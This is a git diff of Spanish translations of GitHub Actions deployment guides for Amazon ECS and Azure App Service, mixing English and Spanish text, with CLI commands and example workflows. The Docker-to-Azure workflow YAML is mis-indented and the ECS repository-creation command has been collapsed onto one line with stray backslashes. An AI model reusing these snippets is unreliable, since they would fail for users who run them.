+title: Desplegar hacia Amazon Elastic Container Service
+intro: Puedes hacer despliegues para Amazon Elastic Container Service (ECS) como parte de tus flujos de trabajo de despliegue contínuo (DC).
 redirect_from:
   - /actions/guides/deploying-to-amazon-elastic-container-service
   - /actions/deployment/deploying-to-amazon-elastic-container-service
@@ -14,17 +14,17 @@ topics:
   - CD
   - Containers
   - Amazon ECS
-shortTitle: Deploy to Amazon ECS
+shortTitle: Desplegar hacia Amazon ECS
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## Introducción
 
-This guide explains how to use {% data variables.product.prodname_actions %} to build a containerized application, push it to [Amazon Elastic Container Registry (ECR)](https://aws.amazon.com/ecr/), and deploy it to [Amazon Elastic Container Service (ECS)](https://aws.amazon.com/ecs/) when there is a push to the `main` branch.
+Esta guía te explica cómo utilizar las {% data variables.product.prodname_actions %} para crear una aplicación contenerizada, subirla al [Registro de Contenedores Elásticos de Amazon (ECR)](https://aws.amazon.com/ecr/) y desplegarla hacia el [Servicio de Contenedores Elásticos de Amazon (ECS)](https://aws.amazon.com/ecs/) cuando haya una subida a la rama `main`.
 
-On every new push to `main` in your {% data variables.product.company_short %} repository, the {% data variables.product.prodname_actions %} workflow builds and pushes a new container image to Amazon ECR, and then deploys a new task definition to Amazon ECS.
+En cada subida nueva a `main` en tu repositorio de {% data variables.product.company_short %}, el flujo de trabajo de las {% data variables.product.prodname_actions %} creará y subirá una imagen de contenedor nueva hacia el ECR de Amazon y luego desplegará una definición de tarea nueva hacia el ECS de Amazon.
 
 {% ifversion fpt or ghec or ghae-issue-4856 %}
 
@@ -36,47 +36,45 @@ On every new push to `main` in your {% data variables.product.company_short %} r
 
 {% endif %}
 
-## Prerequisites
+## Prerrequisitos
 
-Before creating your {% data variables.product.prodname_actions %} workflow, you will first need to complete the following setup steps for Amazon ECR and ECS:
+Antes de que crees tu flujo de trabajo de {% data variables.product.prodname_actions %}, primero necesitas completar los siguientes pasos de configuración para Amazon ECR y ECS:
 
-1. Create an Amazon ECR repository to store your images.
+1. Crea un repositorio de Amazon ECR para almacenar tus imágenes.
 
-   For example, using [the AWS CLI](https://aws.amazon.com/cli/):
+   Por ejemplo, utiliza [el CLI de AWS](https://aws.amazon.com/cli/):
 
    {% raw %}```bash{:copy}
-   aws ecr create-repository \
-       --repository-name MY_ECR_REPOSITORY \
-       --region MY_AWS_REGION
+   aws ecr create-repository \ --repository-name MY_ECR_REPOSITORY \ --region MY_AWS_REGION
    ```{% endraw %}
 
-   Ensure that you use the same Amazon ECR repository name (represented here by `MY_ECR_REPOSITORY`) for the `ECR_REPOSITORY` variable in the workflow below.
+   Asegúrate de que utilizas el mismo nombre de repositorio para amazon ECR (que se representa aquí como `MY_ECR_REPOSITORY`) para la variable `ECR_REPOSITORY` en el flujo de trabajo a continuación.
 
-   Ensure that you use the same AWS region value for the `AWS_REGION` (represented here by `MY_AWS_REGION`) variable in the workflow below.
+   Asegúrate de que utilizas el mismo valor de región de AWS para la variable `AWS_REGION` (que se representa aquí como `MY_AWS_REGION`) en el flujo de trabajo a continuación.
 
-2. Create an Amazon ECS task definition, cluster, and service.
+2. Crea un servicio, agrupamiento y definición de tarea de Amazon ECS.
 
-   For details, follow the [Getting started wizard on the Amazon ECS console](https://us-east-2.console.aws.amazon.com/ecs/home?region=us-east-2#/firstRun), or the [Getting started guide](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/getting-started-fargate.html) in the Amazon ECS documentation.
+   Para obtener más detalles, sigue la sección [Asistente de inicio para la consola de Amazon ECS](https://us-east-2.console.aws.amazon.com/ecs/home?region=us-east-2#/firstRun), o la [Guía de inicio](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/getting-started-fargate.html) en la documentación de Amazon ECS.
 
-   Ensure that you note the names you set for the Amazon ECS service and cluster, and use them for the `ECS_SERVICE` and `ECS_CLUSTER` variables in the workflow below.
+   Asegúrate de anotar los nombres que configuraste para el servicio y agrupamiento de Amazon ECS y utilízalos para las variables `ECS_SERVICE` y `ECS_CLUSTER` en el flujo de trabajo a continuación.
 
-3. Store your Amazon ECS task definition as a JSON file in your {% data variables.product.company_short %} repository.
+3. Almacena tu definición de tarea de Amazon ECS como un archivo JSON en tu repositorio de {% data variables.product.company_short %}.
 
-   The format of the file should be the same as the output generated by:
+   El formato del archivo debe ser el mismo que la salida que genera:
 
    {% raw %}```bash{:copy}
    aws ecs register-task-definition --generate-cli-skeleton
    ```{% endraw %}
 
-   Ensure that you set the `ECS_TASK_DEFINITION` variable in the workflow below as the path to the JSON file.
+   Asegúrate de configurar la variable `ECS_TASK_DEFINITION` en el flujo de trabajo a continuación como la ruta al archivo JSON.
 
-   Ensure that you set the `CONTAINER_NAME` variable in the workflow below as the container name in the `containerDefinitions` section of the task definition.
+   Asegúrate de configurar la variable `CONTAINER_NAME` en el flujo de trabajo a continuación como el nombre de contenedor en la sección `containerDefinitions` de la definición de tarea.
 
-4. Create {% data variables.product.prodname_actions %} secrets named `AWS_ACCESS_KEY_ID` and `AWS_SECRET_ACCESS_KEY` to store the values for your Amazon IAM access key.
+4. Crea los secretos de {% data variables.product.prodname_actions %} con los nombres `AWS_ACCESS_KEY_ID` y `AWS_SECRET_ACCESS_KEY` para almacenar los valores de tu llave de acceso de Amazon IAM.
 
-   For more information on creating secrets for {% data variables.product.prodname_actions %}, see "[Encrypted secrets](/actions/reference/encrypted-secrets#creating-encrypted-secrets-for-a-repository)."
+   Para obtener más información sobre cómo crear los secretos para {% data variables.product.prodname_actions %}, consulta la sección "[Secretos cifrados](/actions/reference/encrypted-secrets#creating-encrypted-secrets-for-a-repository)".
 
-   See the documentation for each action used below for the recommended IAM policies for the IAM user, and methods for handling the access key credentials.
+   Consulta la documentación para cada acción que se utiliza a continuación para las políticas recomendadas de IAM para el usuario de IAM y los métodos para manejar las credenciales de las llaves de acceso.
 
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
 5. Optionally, configure a deployment environment. {% data reusables.actions.about-environments %}
@@ -86,9 +84,9 @@ Before creating your {% data variables.product.prodname_actions %} workflow, you
 
 Once you've completed the prerequisites, you can proceed with creating the workflow.
 
-The following example workflow demonstrates how to build a container image and push it to Amazon ECR. It then updates the task definition with the new image ID, and deploys the task definition to Amazon ECS.
+El siguiente flujo de trabajo de ejemplo demuestra cómo construir una imagen de contenedor y subirla a Amazon ECR. Posteriormente, ésta actualiza la definición de la tarea con una ID de imagen nueva y despliega la definición de tarea a Amazon ECS.
 
-Ensure that you provide your own values for all the variables in the `env` key of the workflow.
+Asegúrate de que proporcionas tus propios valores para todas las variables en la clave `env` del flujo de trabajo.
 
 {% data reusables.actions.delete-env-key %}
 
@@ -163,14 +161,14 @@ jobs:
           wait-for-service-stability: true{% endraw %}
 ```
 
-## Additional resources
+## Recursos adicionales
 
-For the original starter workflow, see [`aws.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/aws.yml) in the {% data variables.product.prodname_actions %} `starter-workflows` repository.
+Para encontrar el flujo de trabajo inicial original, consulta el archivo [`aws.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/aws.yml) en el repositorio `starter-workflows` de {% data variables.product.prodname_actions %}.
 
-For more information on the services used in these examples, see the following documentation:
+Para obtener más información sobre los servicios que se utilizan en estos ejemplos, consulta la siguiente documentación:
 
-* "[Security best practices in IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html)" in the Amazon AWS documentation.
-* Official AWS "[Configure AWS Credentials](https://github.com/aws-actions/configure-aws-credentials)" action.
-* Official AWS [Amazon ECR "Login"](https://github.com/aws-actions/amazon-ecr-login) action.
-* Official AWS [Amazon ECS "Render Task Definition"](https://github.com/aws-actions/amazon-ecs-render-task-definition) action.
-* Official AWS [Amazon ECS "Deploy Task Definition"](https://github.com/aws-actions/amazon-ecs-deploy-task-definition) action.
+* "[Mejores prácticas de seguridad de IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html)" en la documentación de AWS.
+* Acción oficial de "[Configurar las credenciales de AWS](https://github.com/aws-actions/configure-aws-credentials)" de AWS.
+* Acción oficial de ["Inicio de sesión" de Amazon ECR](https://github.com/aws-actions/amazon-ecr-login) de AWS.
+* Acción oficial de ["Definición de tarea de renderización" de Amazon ECS](https://github.com/aws-actions/amazon-ecs-render-task-definition)de AWS.
+* Acción oficial de ["Desplegar definición de tarea" de Amazon ECS](https://github.com/aws-actions/amazon-ecs-deploy-task-definition) de AWS.
diff --git a/translations/es-ES/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-docker-to-azure-app-service.md b/translations/es-ES/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-docker-to-azure-app-service.md
new file mode 100644
index 0000000000..22fb7fa377
--- /dev/null
+++ b/translations/es-ES/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-docker-to-azure-app-service.md
@@ -0,0 +1,153 @@
+---
+title: Deploying Docker to Azure App Service
+intro: You can deploy a Docker container to Azure App Service as part of your continuous deployment (CD) workflows.
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: tutorial
+topics:
+  - CD
+  - Containers
+  - Docker
+  - Azure App Service
+---
+
+{% data reusables.actions.enterprise-beta %}
+{% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Introducción
+
+This guide explains how to use {% data variables.product.prodname_actions %} to build and deploy a Docker container to [Azure App Service](https://azure.microsoft.com/services/app-service/).
+
+{% ifversion fpt or ghec or ghae-issue-4856 %}
+
+{% note %}
+
+**Note**: {% data reusables.actions.about-oidc-short-overview %} and "[Configuring OpenID Connect in Azure](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure)."
+
+{% endnote %}
+
+{% endif %}
+
+## Prerrequisitos
+
+Antes de crear tu flujo de trabajo de {% data variables.product.prodname_actions %}, primero necesitarás completar los siguientes pasos de configuración:
+
+{% data reusables.actions.create-azure-app-plan %}
+
+1. Crea una app web.
+
+   For example, you can use the Azure CLI to create an Azure App Service web app:
+
+   ```bash{:copy}
+   az webapp create \
+       --name MY_WEBAPP_NAME \
+       --plan MY_APP_SERVICE_PLAN \
+       --resource-group MY_RESOURCE_GROUP \
+       --deployment-container-image-name nginx:latest
+   ```
+
+   En este comando, reemplaza los parámetros con tus propios valores, en donde `MY_WEBAPP_NAME` es un nombre nuevo para la app web.
+
+{% data reusables.actions.create-azure-publish-profile %}
+
+1. Set registry credentials for your web app.
+
+   Create a personal access token with the `repo` and `read:packages` scopes. Para obtener más información, consulta la sección "[Crear un token de acceso personal](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token)".
+
+   Set `DOCKER_REGISTRY_SERVER_URL` to `https://ghcr.io`, `DOCKER_REGISTRY_SERVER_USERNAME` to the GitHub username or organization that owns the repository, and `DOCKER_REGISTRY_SERVER_PASSWORD` to your personal access token from above. This will give your web app credentials so it can pull the container image after your workflow pushes a newly built image to the registry. You can do this with the following Azure CLI command:
+
+   ```shell
+    az webapp config appsettings set \
+        --name MY_WEBAPP_NAME \
+        --resource-group MY_RESOURCE_GROUP \
+        --settings DOCKER_REGISTRY_SERVER_URL=https://ghcr.io DOCKER_REGISTRY_SERVER_USERNAME=MY_REPOSITORY_OWNER DOCKER_REGISTRY_SERVER_PASSWORD=MY_PERSONAL_ACCESS_TOKEN
+```
+
+{% ifversion fpt or ghes > 3.0 or ghae or ghec %}
+5. Optionally, configure a deployment environment. {% data reusables.actions.about-environments %}
+{% endif %}
+
+## Crear un flujo de trabajo
+
+Una vez que hayas completado los prerequisitos, puedes proceder con la creación del flujo de trabajo.
+
+The following example workflow demonstrates how to build and deploy a Docker container to Azure App Service when there is a push to the `main` branch.
+
+Asegúrate de configurar a `AZURE_WEBAPP_NAME` en la clave `env` del flujo de trabajo con el nombre de la app web que creaste.
+
+{% data reusables.actions.delete-env-key %}
+
+```yaml{:copy}
+{% data reusables.actions.actions-not-certified-by-github-comment %}
+
+name: Build and deploy a container to an Azure Web App
+
+env:
+  AZURE_WEBAPP_NAME: MY_WEBAPP_NAME   # set this to your application's name
+
+on:
+  push:
+    branches:
+      - main
+
+permissions:
+  contents: 'read'
+  packages: 'write'
+
+jobs:
+  build:
+    runs-on: ubuntu-latest
+
+    steps:
+      - uses: actions/checkout@v2
+
+      - name: Set up Docker Buildx
+        uses: docker/setup-buildx-action@v1
+
+      - name: Log in to GitHub container registry
+        uses: docker/login-action@v1.10.0
+        with:
+          registry: ghcr.io
+          username: {% raw %}${{ github.actor }}{% endraw %}
+          password: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %}
+
+      - name: Lowercase the repo name
+        run: echo "REPO=${GITHUB_REPOSITORY,,}" >>${GITHUB_ENV}
+
+      - name: Build and push container image to registry
+        uses: docker/build-push-action@v2
+        with:
+          push: true
+          tags: ghcr.io/{% raw %}${{ env.REPO }}{% endraw %}:{% raw %}${{ github.sha }}{% endraw %}
+          file: ./Dockerfile
+
+    deploy:
+      runs-on: ubuntu-latest
+      needs: build
+      environment:
+        name: 'production'
+        url: {% raw %}${{ steps.deploy-to-webapp.outputs.webapp-url }}{% endraw %}
+
+      steps:
+        - name: Lowercase the repo name
+          run: echo "REPO=${GITHUB_REPOSITORY,,}" >>${GITHUB_ENV}
+
+        - name: Deploy to Azure Web App
+          id: deploy-to-webapp
+        uses: azure/webapps-deploy@0b651ed7546ecfc75024011f76944cb9b381ef1e
+          with:
+            app-name: {% raw %}${{ env.AZURE_WEBAPP_NAME }}{% endraw %}
+            publish-profile: {% raw %}${{ secrets.AZURE_WEBAPP_PUBLISH_PROFILE }}{% endraw %}
+            images: 'ghcr.io/{% raw %}${{ env.REPO }}{% endraw %}:{% raw %}${{ github.sha }}{% endraw %}'
+```
+
+## Recursos adicionales
+
+Los siguientes recursos también pueden ser útiles:
+
+* Para encontrar el flujo de trabajo inicial original, consulta el archivo [`azure-container-webapp.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/azure-container-webapp.yml) en el repositorio `starter-workflows` de {% data variables.product.prodname_actions %}.
+* La acción que se utilizó para desplegar la app web es la acción oficial [`Azure/webapps-deploy`](https://github.com/Azure/webapps-deploy) de Azure.
+* For more examples of GitHub Action workflows that deploy to Azure, see the [actions-workflow-samples](https://github.com/Azure/actions-workflow-samples) repository.
diff --git a/translations/es-ES/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-java-to-azure-app-service.md b/translations/es-ES/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-java-to-azure-app-service.md
new file mode 100644
index 0000000000..d76f4216a0
--- /dev/null
+++ b/translations/es-ES/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-java-to-azure-app-service.md
@@ -0,0 +1,134 @@
+---
+title: Deploying Java to Azure App Service
+intro: You can deploy your Java project to Azure App Service as part of your continuous deployment (CD) workflows.
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: tutorial
+topics:
+  - CD
+  - Java
+  - Azure App Service
+---
+
+{% data reusables.actions.enterprise-beta %}
+{% data reusables.actions.enterprise-github-hosted-runners %}
+
+
+## Introducción
+
+This guide explains how to use {% data variables.product.prodname_actions %} to build and deploy a Java project to [Azure App Service](https://azure.microsoft.com/services/app-service/).
+
+{% ifversion fpt or ghec or ghae-issue-4856 %}
+
+{% note %}
+
+**Note**: {% data reusables.actions.about-oidc-short-overview %} and "[Configuring OpenID Connect in Azure](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure)."
+
+{% endnote %}
+
+{% endif %}
+
+## Prerrequisitos
+
+Antes de crear tu flujo de trabajo de {% data variables.product.prodname_actions %}, primero necesitarás completar los siguientes pasos de configuración:
+
+{% data reusables.actions.create-azure-app-plan %}
+
+1. Crea una app web.
+
+   For example, you can use the Azure CLI to create an Azure App Service web app with a Java runtime:
+
+   ```bash{:copy}
+   az webapp create \
+       --name MY_WEBAPP_NAME \
+       --plan MY_APP_SERVICE_PLAN \
+       --resource-group MY_RESOURCE_GROUP \
+       --runtime "JAVA|11-java11"
+   ```
+
+   En este comando, reemplaza los parámetros con tus propios valores, en donde `MY_WEBAPP_NAME` es un nombre nuevo para la app web.
+
+{% data reusables.actions.create-azure-publish-profile %}
+
+{% ifversion fpt or ghes > 3.0 or ghae or ghec %}
+1. Optionally, configure a deployment environment. {% data reusables.actions.about-environments %}
+{% endif %}
+
+## Crear un flujo de trabajo
+
+Una vez que hayas completado los prerequisitos, puedes proceder con la creación del flujo de trabajo.
+
+The following example workflow demonstrates how to build and deploy a Java project to Azure App Service when there is a push to the `main` branch.
+
+Asegúrate de configurar a `AZURE_WEBAPP_NAME` en la clave `env` del flujo de trabajo con el nombre de la app web que creaste. If you want to use a Java version other than `11`, change `JAVA_VERSION`.
+
+{% data reusables.actions.delete-env-key %}
+
+```yaml{:copy}
+{% data reusables.actions.actions-not-certified-by-github-comment %}
+
+name: Build and deploy JAR app to Azure Web App
+
+env:
+  AZURE_WEBAPP_NAME: MY_WEBAPP_NAME   # set this to your application's name
+  JAVA_VERSION: '11'                  # set this to the Java version to use
+
+on:
+  push:
+    branches:
+      - main
+
+jobs:
+  build:
+    runs-on: ubuntu-latest
+
+    steps:
+      - uses: actions/checkout@v2
+
+      - name: Set up Java version
+        uses: actions/setup-java@v2.3.1
+        with:
+          java-version: {% raw %}${{ env.JAVA_VERSION }}{% endraw %}
+          cache: 'maven'
+
+      - name: Build with Maven
+        run: mvn clean install
+
+      - name: Upload artifact for deployment job
+        uses: actions/upload-artifact@v2
+        with:
+          name: java-app
+          path: '{% raw %}${{ github.workspace }}{% endraw %}/target/*.jar'
+
+  deploy:
+    runs-on: ubuntu-latest
+    needs: build
+    environment:
+      name: 'production'
+      url: {% raw %}${{ steps.deploy-to-webapp.outputs.webapp-url }}{% endraw %}
+
+    steps:
+      - name: Download artifact from build job
+        uses: actions/download-artifact@v2
+        with:
+          name: java-app
+
+      - name: Deploy to Azure Web App
+        id: deploy-to-webapp
+        uses: azure/webapps-deploy@0b651ed7546ecfc75024011f76944cb9b381ef1e
+        with:
+          app-name: {% raw %}${{ env.AZURE_WEBAPP_NAME }}{% endraw %}
+          publish-profile: {% raw %}${{ secrets.AZURE_WEBAPP_PUBLISH_PROFILE }}{% endraw %}
+          package: '*.jar'
+```
+
+## Recursos adicionales
+
+Los siguientes recursos también pueden ser útiles:
+
+* Para encontrar el flujo de trabajo inicial original, consulta el archivo [`azure-webapps-java-jar.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/azure-webapps-java-jar.yml) en el repositorio `starter-workflows` de {% data variables.product.prodname_actions %}.
+* La acción que se utilizó para desplegar la app web es la acción oficial [`Azure/webapps-deploy`](https://github.com/Azure/webapps-deploy) de Azure.
+* For more examples of GitHub Action workflows that deploy to Azure, see the [actions-workflow-samples](https://github.com/Azure/actions-workflow-samples) repository.
diff --git a/translations/es-ES/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-net-to-azure-app-service.md b/translations/es-ES/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-net-to-azure-app-service.md
new file mode 100644
index 0000000000..3ac6ae987c
--- /dev/null
+++ b/translations/es-ES/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-net-to-azure-app-service.md
@@ -0,0 +1,144 @@
+---
+title: Deploying .NET to Azure App Service
+intro: You can deploy your .NET project to Azure App Service as part of your continuous deployment (CD) workflows.
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: tutorial
+topics:
+  - CD
+  - Azure App Service
+---
+
+{% data reusables.actions.enterprise-beta %}
+{% data reusables.actions.enterprise-github-hosted-runners %}
+
+
+## Introducción
+
+This guide explains how to use {% data variables.product.prodname_actions %} to build and deploy a .NET project to [Azure App Service](https://azure.microsoft.com/services/app-service/).
+
+{% ifversion fpt or ghec or ghae-issue-4856 %}
+
+{% note %}
+
+**Note**: {% data reusables.actions.about-oidc-short-overview %} and "[Configuring OpenID Connect in Azure](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure)."
+
+{% endnote %}
+
+{% endif %}
+
+## Prerrequisitos
+
+Antes de crear tu flujo de trabajo de {% data variables.product.prodname_actions %}, primero necesitarás completar los siguientes pasos de configuración:
+
+{% data reusables.actions.create-azure-app-plan %}
+
+2. Crea una app web.
+
+   For example, you can use the Azure CLI to create an Azure App Service web app with a .NET runtime:
+
+   ```bash{:copy}
+   az webapp create \
+       --name MY_WEBAPP_NAME \
+       --plan MY_APP_SERVICE_PLAN \
+       --resource-group MY_RESOURCE_GROUP \
+       --runtime "DOTNET|5.0"
+   ```
+
+   En este comando, reemplaza los parámetros con tus propios valores, en donde `MY_WEBAPP_NAME` es un nombre nuevo para la app web.
+
+{% data reusables.actions.create-azure-publish-profile %}
+
+{% ifversion fpt or ghes > 3.0 or ghae or ghec %}
+5. Optionally, configure a deployment environment. {% data reusables.actions.about-environments %}
+{% endif %}
+
+## Crear un flujo de trabajo
+
+Una vez que hayas completado los prerequisitos, puedes proceder con la creación del flujo de trabajo.
+
+The following example workflow demonstrates how to build and deploy a .NET project to Azure App Service when there is a push to the `main` branch.
+
+Asegúrate de configurar a `AZURE_WEBAPP_NAME` en la clave `env` del flujo de trabajo con el nombre de la app web que creaste. If the path to your project is not the repository root, change `AZURE_WEBAPP_PACKAGE_PATH`.  If you use a version of .NET other than `5`, change `DOTNET_VERSION`.
+
+{% data reusables.actions.delete-env-key %}
+
+```yaml{:copy}
+{% data reusables.actions.actions-not-certified-by-github-comment %}
+
+name: Build and deploy ASP.Net Core app to an Azure Web App
+
+env:
+  AZURE_WEBAPP_NAME: MY_WEBAPP_NAME   # set this to your application's name
+  AZURE_WEBAPP_PACKAGE_PATH: '.'      # set this to the path to your web app project, defaults to the repository root
+  DOTNET_VERSION: '5'                 # set this to the .NET Core version to use
+
+on:
+  push:
+    branches:
+      - main
+
+jobs:
+  build:
+    runs-on: ubuntu-latest
+
+    steps:
+      - uses: actions/checkout@v2
+
+      - name: Set up .NET Core
+        uses: actions/setup-dotnet@v1
+        with:
+          dotnet-version: {% raw %}${{ env.DOTNET_VERSION }}{% endraw %}
+
+      - name: Set up dependency caching for faster builds
+        uses: actions/cache@v2
+        with:
+          path: ~/.nuget/packages
+          key: {% raw %}${{ runner.os }}-nuget-${{ hashFiles('**/packages.lock.json') }}{% endraw %}
+          restore-keys: |
+            {% raw %}${{ runner.os }}-nuget-{% endraw %}
+
+      - name: Build with dotnet
+        run: dotnet build --configuration Release
+
+      - name: dotnet publish
+        run: dotnet publish -c Release -o {% raw %}${{env.DOTNET_ROOT}}{% endraw %}/myapp
+
+      - name: Upload artifact for deployment job
+        uses: actions/upload-artifact@v2
+        with:
+          name: .net-app
+          path: {% raw %}${{env.DOTNET_ROOT}}{% endraw %}/myapp
+
+  deploy:
+    runs-on: ubuntu-latest
+    needs: build
+    environment:
+      name: 'production'
+      url: {% raw %}${{ steps.deploy-to-webapp.outputs.webapp-url }}{% endraw %}
+
+    steps:
+      - name: Download artifact from build job
+        uses: actions/download-artifact@v2
+        with:
+          name: .net-app
+
+      - name: Deploy to Azure Web App
+        id: deploy-to-webapp
+        uses: azure/webapps-deploy@0b651ed7546ecfc75024011f76944cb9b381ef1e
+        with:
+          app-name: {% raw %}${{ env.AZURE_WEBAPP_NAME }}{% endraw %}
+          publish-profile: {% raw %}${{ secrets.AZURE_WEBAPP_PUBLISH_PROFILE }}{% endraw %}
+          package: {% raw %}${{ env.AZURE_WEBAPP_PACKAGE_PATH }}{% endraw %}
+```
+
+## Recursos adicionales
+
+Los siguientes recursos también pueden ser útiles:
+
+* Para encontrar el flujo de trabajo inicial original, consulta el archivo [`azure-webapps-dotnet-core.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/azure-webapps-dotnet-core.yml) en el repositorio `starter-workflows` de {% data variables.product.prodname_actions %}.
+* La acción que se utilizó para desplegar la app web es la acción oficial [`Azure/webapps-deploy`](https://github.com/Azure/webapps-deploy) de Azure.
+* For more examples of GitHub Action workflows that deploy to Azure, see the [actions-workflow-samples](https://github.com/Azure/actions-workflow-samples) repository.
diff --git a/translations/es-ES/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-nodejs-to-azure-app-service.md b/translations/es-ES/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-nodejs-to-azure-app-service.md
new file mode 100644
index 0000000000..0bef0175a3
--- /dev/null
+++ b/translations/es-ES/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-nodejs-to-azure-app-service.md
@@ -0,0 +1,140 @@
+---
+title: Deploying Node.js to Azure App Service
+intro: You can deploy your Node.js project to Azure App Service as part of your continuous deployment (CD) workflows.
+redirect_from:
+  - /actions/guides/deploying-to-azure-app-service
+  - /actions/deployment/deploying-to-azure-app-service
+  - /actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure-app-service
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: tutorial
+topics:
+  - CD
+  - Node
+  - JavaScript
+  - Azure App Service
+---
+
+{% data reusables.actions.enterprise-beta %}
+{% data reusables.actions.enterprise-github-hosted-runners %}
+
+
+## Introducción
+
+This guide explains how to use {% data variables.product.prodname_actions %} to build, test, and deploy a Node.js project to [Azure App Service](https://azure.microsoft.com/services/app-service/).
+
+{% ifversion fpt or ghec or ghae-issue-4856 %}
+
+{% note %}
+
+**Note**: {% data reusables.actions.about-oidc-short-overview %} and "[Configuring OpenID Connect in Azure](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure)."
+
+{% endnote %}
+
+{% endif %}
+
+## Prerrequisitos
+
+Antes de crear tu flujo de trabajo de {% data variables.product.prodname_actions %}, primero necesitarás completar los siguientes pasos de configuración:
+
+{% data reusables.actions.create-azure-app-plan %}
+
+2. Crea una app web.
+
+   For example, you can use the Azure CLI to create an Azure App Service web app with a Node.js runtime:
+
+   ```bash{:copy}
+   az webapp create \
+       --name MY_WEBAPP_NAME \
+       --plan MY_APP_SERVICE_PLAN \
+       --resource-group MY_RESOURCE_GROUP \
+       --runtime "NODE|14-lts"
+   ```
+
+   En este comando, reemplaza los parámetros con tus propios valores, en donde `MY_WEBAPP_NAME` es un nombre nuevo para la app web.
+
+{% data reusables.actions.create-azure-publish-profile %}
+
+{% ifversion fpt or ghes > 3.0 or ghae or ghec %}
+5. Optionally, configure a deployment environment. {% data reusables.actions.about-environments %}
+{% endif %}
+
+## Crear un flujo de trabajo
+
+Una vez que hayas completado los prerequisitos, puedes proceder con la creación del flujo de trabajo.
+
+El siguiente flujo de trabajo de ejemplo demuestra cómo crear, probar y desplegar el proyecto de Node.js a Azure App Service cuando haya una subida a la rama `main`.
+
+Asegúrate de configurar a `AZURE_WEBAPP_NAME` en la clave `env` del flujo de trabajo con el nombre de la app web que creaste. If the path to your project is not the repository root, change `AZURE_WEBAPP_PACKAGE_PATH`  to your project path. If you use a version of Node.js other than `10.x`, change `NODE_VERSION` to the version that you use.
+
+{% data reusables.actions.delete-env-key %}
+
+```yaml{:copy}
+{% data reusables.actions.actions-not-certified-by-github-comment %}
+
+on:
+  push:
+    branches:
+      - main
+
+env:
+  AZURE_WEBAPP_NAME: MY_WEBAPP_NAME   # set this to your application's name
+  AZURE_WEBAPP_PACKAGE_PATH: '.'      # set this to the path to your web app project, defaults to the repository root
+  NODE_VERSION: '14.x'                # set this to the node version to use
+
+jobs:
+  build:
+    runs-on: ubuntu-latest
+    steps:
+    - uses: actions/checkout@v2
+
+    - name: Set up Node.js
+      uses: actions/setup-node@v2
+      with:
+        node-version: {% raw %}${{ env.NODE_VERSION }}{% endraw %}
+        cache: 'npm'
+
+    - name: npm install, build, and test
+      run: |
+        npm install
+        npm run build --if-present
+        npm run test --if-present
+    - name: Upload artifact for deployment job
+      uses: actions/upload-artifact@v2
+      with:
+        name: node-app
+        path: .
+
+  deploy:
+    runs-on: ubuntu-latest
+    needs: build
+    environment:
+      name: 'production'
+      url: {% raw %}${{ steps.deploy-to-webapp.outputs.webapp-url }}{% endraw %}
+
+    steps:
+    - name: Download artifact from build job
+      uses: actions/download-artifact@v2
+      with:
+        name: node-app
+
+    - name: 'Deploy to Azure WebApp'
+      id: deploy-to-webapp 
+      uses: azure/webapps-deploy@0b651ed7546ecfc75024011f76944cb9b381ef1e
+      with:
+        app-name: {% raw %}${{ env.AZURE_WEBAPP_NAME }}{% endraw %}
+        publish-profile: {% raw %}${{ secrets.AZURE_WEBAPP_PUBLISH_PROFILE }}{% endraw %}
+        package: {% raw %}${{ env.AZURE_WEBAPP_PACKAGE_PATH }}{% endraw %}
+```
+
+## Recursos adicionales
+
+Los siguientes recursos también pueden ser útiles:
+
+* Para encontrar el flujo de trabajo inicial original, consulta el archivo [`azure-webapps-node.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/azure-webapps-node.yml) en el repositorio `starter-workflows` de {% data variables.product.prodname_actions %}.
+* La acción que se utilizó para desplegar la app web es la acción oficial [`Azure/webapps-deploy`](https://github.com/Azure/webapps-deploy) de Azure.
+* Para encontrar más ejemplos de flujos de trabajo de GitHub Actions que desplieguen a Azure, consulta el repositorio [actions-workflow-samples](https://github.com/Azure/actions-workflow-samples).
+* La guía rápida de "[Crear una app web de Node.js en Azure](https://docs.microsoft.com/azure/app-service/quickstart-nodejs)" dentro de la documentación de la app web de Azure demuestra cómo utilizar VS Code con la [Extensión de Azure App Service](https://marketplace.visualstudio.com/items?itemName=ms-azuretools.vscode-azureappservice).
